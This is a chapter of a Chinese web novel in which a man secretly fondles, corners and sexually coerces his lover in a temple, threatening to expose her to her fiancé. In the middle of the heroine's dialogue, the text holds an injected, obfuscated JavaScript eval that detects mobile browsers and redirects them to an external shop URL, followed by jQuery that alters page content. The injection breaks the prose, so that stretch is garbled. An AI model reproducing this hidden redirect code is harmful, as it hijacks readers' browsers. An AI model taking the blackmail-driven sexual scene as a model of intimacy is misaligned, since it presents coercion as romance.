9. 亵渎

作品:《仇敌之妻

    因着程菩提前打点过,今日寺中除了程家一行人,并无外人打扰。住持师父手握佛珠,双手合十,面带微笑,朝他们行礼。


    程老夫人笃信佛教,只是素日里不常出门,故而请师父去府上讲过几回经,勉强算得上是熟识。


    已近饭点,便在寺中小沙弥的引领下,安排着去用饭。


    简雅的竹亭内,红木圆桌临水而设。潺潺溪流卷着山中落花,如同红妆软缎,在漫漫浅草地上一路蜿蜒。


    细水清流之声悦耳,配合着间续鸟鸣,身心跟着一同平静下来。烦扰忧愁,皆随着缕缕紫檀香烟,飘向远方。


    程老夫人坐下,环视了一圈,开口说道:


    “地方倒是不错,菩儿此番费心了。”


    “今儿既是难得出门,都不用拘着,过来坐罢。”


    程茹与薛宓娴应了老夫人的要求,与她左右挨着坐下。


    沈楹本还想张罗,却见程菩笑了笑,低声道:


    “嫂嫂不用忙活,我来安排便是。”


    “可是……”


    她话没说完,只见程菩已悠然转身,吩咐小厮去廊下再摆上几席,一会儿待亭中的人散了,让随行的下人们也跟着吃一顿。


    江昀本是坐在外端的,挨着薛宓娴。圆桌下,他的手似是无意地搭上身侧人的腿,隔着衣裙,轻轻捏了一下。


    薛宓娴神色凝了一瞬,却又不敢声张,只能瞪了他一眼,以表不满。


    江昀自然视若无睹。


    正当她心下烦乱之际,沈楹走了过来:


    “江公子,你是贵客,应坐那个位置才是。”


    当着程老夫人的面,沈楹一再推让,江昀也不好与她对着来,便只能起身,去程茹身侧坐下,与薛宓娴隔桌相对。


    薛宓娴低下头,装模作样地咳了一声,偷偷轻笑,可抬眸的瞬间,却见江昀冷冷地看向她,不悦之色溢于言表。


    她微微偏过头,十分自然地避开了与他的视线接触,转而看向身侧的程菩,柔声道:


    “二哥哥别急着解衣,当心着凉。”


    程菩笑着把手中的竹筷递给她,顺势轻轻捏了一下她的指尖:


    “有劳娴娘惦记着,我一切都好。”


    虽说是定了婚事,可他们二人还不是夫妻,按理说言语举止不该如此亲近。


    但程老夫人乐见于此,只是和蔼地笑了笑,没有多说什么。


    吃了一杯云雾茶,便见莳莺从小沙弥手中接过食盒,领着婢女,前来布菜。


    食材虽简单,但各色菜式色泽鲜亮,香气扑鼻,闻着便叫人不由自主地咽口水。


    薛宓娴穿越前没有吃过素斋,这个朝代的烹饪技术没有那么发达,因而她对食物的味道没有太高要求,只是不要太难以入口便好。


    程老夫人先动,随后旁人也跟着动筷。


    程菩夹了一筷子笋片,放在薛宓娴的碗中:


    “这道菜是用山上的鲜笋,铺在香叶上小火慢蒸,料汁调得也好,十分入味。”


    “他们做的豆腐卷子出名已久,老太太一直惦记着……”


    他自己没顾上享用美味,倒是满心全放在薛宓娴身上。


    只要她稍微笑一下,程菩莫说是刀山火海,便是叫他去桂宫摘月都别无二话。


    程菩放下筷子,看向她,心中隐隐期待:


    “娴娘,你可喜欢?”


    薛宓娴抬手轻挽耳边垂落的散发,与他相视一笑。


    江昀的脸上没什么表情,筷子稳稳当当地夹起胡萝卜丝,放入碗中。


    ……


    瓷勺晃着澄亮的萝卜汤,听说是与一些名贵的菌菇一起煮的,鲜味十足,很对薛宓娴的胃口


    忽然听见对面的江昀轻咳一声,她不由得抬起头——


    目光交汇之际,她意识到自己又一次中了他的圈套。


    那些床/笫之间的荒唐记忆被瞬间勾起,似有过电之感攀上背脊,游遍全身经络。


    薛宓娴捏着勺子的手不受控制地抖了一下,汤汁洒了出来,引得程菩侧目,关切道:


    “娴娘,怎么了?”


    薛宓娴眨了眨眼睛,强作镇定地笑了一下:


    “我……方才被烫着了,一时没拿稳勺子,不打紧。”


    这解释实在有几分欲盖弥彰之意,江昀收回自己的视线,无声笑了一下,重新又夹起一块笋片。


    他并未乘胜追击,只是在薛宓娴放松下来的瞬间,借着两人同时伸筷夹菜的契机,碰了一下她的手,连带着轻轻蹭了一下。


    触碰的动作很快,如同蜻蜓点水,又加之有旁人夹菜作为掩护,除了薛宓娴这位当事人,根本无人察觉。


    指腹从柔软光滑的手背上划过,细腻如脂玉般的触感让江昀忍不住捻了一下指尖,暗自回味。


    他抬头看向薛宓娴,脸上的神色瞬间冷了下来。


    只见美人脸上泛着微红,眸中闪过一瞬间的抵触,而后无意识地将身子偏向了程菩的方向,似是在寻找什么庇护。


    可笑至极。


    江昀淡淡地搁下筷子,慢条斯理地擦了擦手。


    薛宓娴的动作一顿,秀眉微蹙。


    到底是有过肌/肤/之/亲,她能敏锐地察觉到江昀眼神变化中情绪的细微不同。


    比如说欲/念浓重的,带着调笑的,漫不经心的,以及冰冷矜贵且高高在上的……


    可她却不能准确地说出这样的眼神,究竟代表了他内里的什么心情。


    因为江昀是个看不透的人。


    他也许此时漫不经心地笑着,下一刻便会捏着她的脸,把她抵在墙上,咬着她的唇瓣,说些让她浑身发抖的浑话……


    她心里开始打起鼓,不自觉地有点紧张,开始回忆方才是否有何处明显言行有失,得罪了这位大恩人。


    毕竟,江昀手里握着能左右她靠山的把柄,不得不谨慎对待。


    偏偏此时,程菩看过来,轻轻地握住了她的手:


    “娴娘,你脸色不好,可是身子不适?”


    一时间,桌上所有人都看向她。


    睫羽轻颤,薛宓娴手脚发冷,轻声道:


    “没有不适,我很好。”


    话音刚落,她似乎听见了江昀的轻声嗤笑。


    然而,等她再次看过去的时候,江昀的脸上却又不见任何情绪,只是平静而又漠然地迎上她的目光,仿佛周围发生的一切都事不关已。


    薛宓娴微不可察地轻叹一口气,无意识地用筷子戳了戳碗中的豆腐块儿。


    只是她不知……


    美人倩影已是清晰地映在了那漆黑的眸中,在无边无际的欲.浪中越陷越深,直至完全吞没,踪迹难寻。


    ……


    用完素斋,程老夫人便带着小辈们去听住持师父讲经。


    盘坐在柔软的蒲团上,薛宓娴听着耳边萦绕不去的絮絮念念,昏昏欲睡。


    窗外的阳光似一层薄薄的金纱,轻轻笼罩在她的身上,安然恬静之姿,如梦似幻。


    身子晃了一下,她从瞌睡中忽然惊醒,无端感到异样。


    四下环顾,正巧对上江昀的视线。


    她迅速回避对视,若无其事地坐好,理了理衣袖。


    余光留意了一会儿,薛宓娴几乎可以肯定,江昀一直在盯着她看。


    落在她身上的视线,大大方方,毫不遮掩。


    她偷看的动作同样也被江昀抓了个正着。


    薛宓娴立刻坐正,仿佛是以前上课开小差被老师点名那样,腰挺得笔直,大有此地无银三百两的架势。


    江昀微微偏头,轻轻哼笑一声,起身走了出去。


    薛宓娴注意到了,可她无法确定那是什么意思——


    他看起来似乎心情不好,这是要她跟着一起出去的意思吗?


    还是他单纯叛逆,不喜欢听老和尚念经?


    思索片刻,薛宓娴站起身,朝着同样忍不住打瞌睡的蕴娘示意了一下,紧接着提起裙裾,悄悄溜了出去。


    ……


    院角摆着僧人们洒扫用的洁具,满院的地上都不见一片落花残叶,打理得十分齐整。


    沿着鹅卵石铺下的小路向前走,两侧的树木枝繁叶茂,却不见半点人影。


    人生地不熟,薛宓娴一步步紧跟着江昀的足迹,生怕自己闯入什么不该去的佛门禁地,犯了忌讳。


    正当她小心翼翼地四处张望时,忽然伸出一只手,不由分说地将她拉入身侧的屋子里。


    “唔唔——”


    木门合上,薛宓娴眨了眨眼睛,看向面前神色淡然的江昀,暗暗松了口气:


    “吓死我了,我还以为……”


    江昀的视线自她的眼睫缓缓下移,落在唇上,停留片刻后,哑声道:


    “以为什么?”


    以为你是图谋不轨的歹人。


    但这话若是直接说出来,薛宓娴怕他生气,思索片刻后,换了个说辞,不乏软语讨好之意:


    “我还以为你真的生气了呢。”


    江昀单手撑在门上,只是看着她,没有说话。


    薛宓娴缓缓抬眸,柔声试探道:


    “没有么?”


    “那你为何会到此处来?”


    江昀自然不会回答她的这种问题。


    他再度看向薛宓娴的眼睛,深吸一口气,沉默片刻后,果断地抬起她那粉雕玉琢的美人面,低头吻了下去。


    薛宓娴蹙起眉,轻轻地挣扎了一下。


    这个吻来得有点不同寻常,似是欲/念深沉,可贪恋中却带着要将她噬咬掠夺的恨意,恨意中又隐隐有几分别扭的怜惜。


    最后,他的动作似是安抚,又似是要勾起更深处的其它反应。


    薛宓娴被他神鬼莫测的技法弄得喘不上气,呜咽和挣扎都被轻而易举地压制下去。


    她无力反抗,当然也逃脱不得。


    ……


    感受到一阵突如其来的寒意,薛宓娴攥住自己的衣襟,又羞又恼地瞪了江昀一眼:


    “你仔细看看,现在这是在什么地方。怎能如此放肆?”


    江昀嗤笑一声,手停留在她的腰际:


    “我做事,还要顾及身在何处?”


    他低下头,贴着薛宓娴的耳朵,哑声道:


    “姐姐先前求我的时候,可不是这么说的。”


    薛宓娴咬着牙,此刻她被圈在江昀的怀中,纵然有心中千万般不满,也根本由不得她推辞抗拒。


    江昀的道德和廉耻近乎于无,天下再荒唐无稽的事,放在他身上也不奇怪。


    但她还是试图用朴素的观念感化他:


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956651|193155||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    清修之地,若是胡来,可是要遭报应的。”


    江昀抬起头,二人的鼻尖短暂相碰,紊乱而又急促的气息彼此交织着,勾绘出春日缤纷之景,让她有一瞬间的失神。


    果不其然,他冷笑一声,开口道:


    “这世上若是真有报应,便不会容得某些人苟延残喘至今。”


    薛宓娴喘息着,不解地望着他,总感觉这话里似有深意。


    江昀随即话锋一转:


    “更何况,我记性不好。还请姐姐帮我回忆回忆,究竟是谁跟了我一路,自己追到此处的。”


    他吻在她的耳后,不轻不重地咬了一下耳垂,感受到怀中人的瑟缩颤抖,才接着开口:


    “你自己送上门来的,怪不得我。”


    薛宓娴抵着他的肩,知晓他所言非虚,心下暗感荒唐的同时,眸中闪过显而易见的慌乱无措:


    “你——”


    “我以为你心情不好,为了关心你才来的。若是如此恩将仇报,下次再不理你,唔……”


    江昀淡淡地“嗯”的一声,扣住她的手腕,蹲下身子,咬着腰间那绦带,轻轻一偏头。


    浅紫色的衣裙如同山野间烂漫的紫藤花,在深色的地板上倏然散开。


    薛宓娴忍不住朝着唯一的热源处靠过去,贴得更近,恍然有种即将融为一体的错觉。


    出乎意料的是,江昀身上的衣裳依旧齐整,除了被她紧攥着的袖子留有些许褶皱,竟没有一点要陪着宽衣解带的意思。


    薛宓娴怔了一下,想要狠狠推开他,却又不敢,只能顿在原地,倒成了默许。


    江昀的手如同过谷山风,由远及近,由上至下,峰峦尽揽。


    不过,简单的触碰与之后发生的事情相比,已经算不得什么了。


    下一刻,她就被轻而易举地托了起来,只能用双手紧紧揽着他的颈,轻轻闭起眼睛,悬在了他的身上。


    他衣冠齐楚,应该不是想着要做那些事的。


    薛宓娴屏住呼吸,实在害怕此刻的自己被人撞见,便只能尽可能压低了声音:


    “江昀……你到底要干什么?”


    词音句尾带着细碎的喘咽,越发有些见不得人了。


    江昀依旧没有回答她。


    他今天的话格外少,只是顾着自己手上不曾停歇的动作,同时视线一直未曾移开,定在了她那双泪水满盈的桃花眸上。


    美人仰起头,咬唇垂泪。


    这一瞬间,他心中竟是极为满足。


    他轻轻眯起眼睛,倾身凑过去,将晶莹珠泪尽数吻去,再轻轻衔住那柔软的唇,渡还给她。


    ……


    薛宓娴终于知道他要做什么了。


    软语哭求过后,再次加深了她心中堆叠的偏见。


    江昀就是个彻头彻尾的疯子。


    云端来回几次,五感已经不受自己掌控,她再不顾礼数,哭斥道:


    “无耻……我……我从未见过你这般放浪的人……”


    “你简直是丢光了自己还有家人的脸面……”


    “身而为人,不做端方君子……尽……尽做些见不得光的丑事……可会问心有愧?”


    她努力地用这个朝代的人能够理解的话去骂他,却不知自己此时的模样,眼尾泛着热红,香/汗/淋/漓,任人摆布,柔若无骨。


    如此一来,说的话不像是愤怒,倒像是在调/情。


    江昀听见了,但什么都没有说,甚至连脸上的神色都不见一点变化。


    湿漉漉的手随意搭上她的颈,在锁骨处留下泛着些许晶莹的尾痕。


    薛宓娴此刻坐在一张木桌上,身下垫着江昀的外袍,带着熟悉的沉木香气,将她由内至外染了个遍。


    小腿止不住地颤抖着,美人面上晕着一片细腻的润红,眸中闪着盈盈水光,可怜可爱。


    水珠从指尖滴落,江昀缓缓开口:


    “我是放浪之徒,姐姐是什么?”


    他凑近了些,眸光中闪烁着异样的疯狂:


    “方才连句话都说不清楚的,又是谁?”


    他轻轻地拍了拍薛宓娴的脸,待她回过神来,便抬起她的下颌,不容闪躲:


    “这是姐姐骗我的代价。”


    “若再有下次,我便在程菩的面前——”


    薛宓娴大惊,挣扎中指甲自他的颈侧划过,留下数道红痕。


    她含泪瞪着江昀,打断了他的疯言疯语:


    “你敢!”


    江昀笑了一下,做出噤声的手势,不慌不忙地抱着她换了个方向。


    一门之隔,程菩随着一位僧人,推门而入。


    薛宓娴瞬时浑身发冷,一动也不敢动。


    江昀瞧着她的模样,喉结不受控制地滚了滚,靠坐在桌边,把她圈入怀中,卷起外袍遮掩那微微颤栗的身体。


    他贴着她的耳朵,用了气声,话音只有彼此二人能听到,而且听得清清楚楚:


    “我有何不敢?”


    修长的手指撩起美人耳边垂落的长发,只不过是轻轻一卷,她的身体便会跟着他的动作颤栗发抖。


    薛宓娴咬着唇,握住那作乱的手,转而便听身后传来哑声轻笑:


    “姐姐若不信,大可一试。”


    “看我会不会——”


    “说到做到。”